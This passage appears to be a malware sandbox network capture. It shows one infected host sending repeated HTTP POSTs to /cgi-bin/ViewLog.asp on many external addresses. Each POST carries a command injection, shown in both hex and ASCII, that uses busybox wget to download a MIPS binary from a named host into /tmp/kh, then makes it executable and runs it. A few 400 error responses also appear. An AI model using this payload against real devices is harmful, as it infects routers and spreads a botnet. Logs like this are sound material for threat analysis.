/tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	43300	94.120.243.226	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:47.047990084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	43074	94.122.208.186	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:47.052726030 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	54970	94.122.62.49	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:49.555002928 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.758500099 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.166423082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:55.078435898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.710417986 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:11.974385977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:35.270323992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.326184988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	48998	31.202.91.87	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:49.999679089 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	39676	94.183.154.248	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.081857920 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	46526	94.121.155.170	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.229804993 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	60912	95.86.65.8	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.232736111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	41608	95.92.109.99	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.767713070 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.974617004 CET	602	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:50 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	42496	94.120.148.195	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.790235043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	48120	31.207.33.204	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.945446014 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:51.123466015 CET	610	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 362 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 52 65 61 73 6f 6e 3a 20 59 6f 75 27 72 65 20 73 70 65 61 6b 69 6e 67 20 70 6c 61 69 6e 20 48 54 54 50 20 74 6f 20 61 6e 20 53 53 4c 2d 65 6e 61 62 6c 65 64 20 73 65 72 76 65 72 20 70 6f 72 74 2e 3c 62 72 20 2f 3e 0a 20 49 6e 73 74 65 61 64 20 75 73 65 20 74 68 65 20 48 54 54 50 53 20 73 63 68 65 6d 65 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 55 52 4c 2c 20 70 6c 65 61 73 65 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br />Reason: You're speaking plain HTTP to an SSL-enabled server port.<br /> Instead use the HTTPS scheme to access this URL, please.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	58100	85.69.27.37	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.948627949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:51.494424105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.614408016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:54.822451115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:59.430457115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.390357018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.078361988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
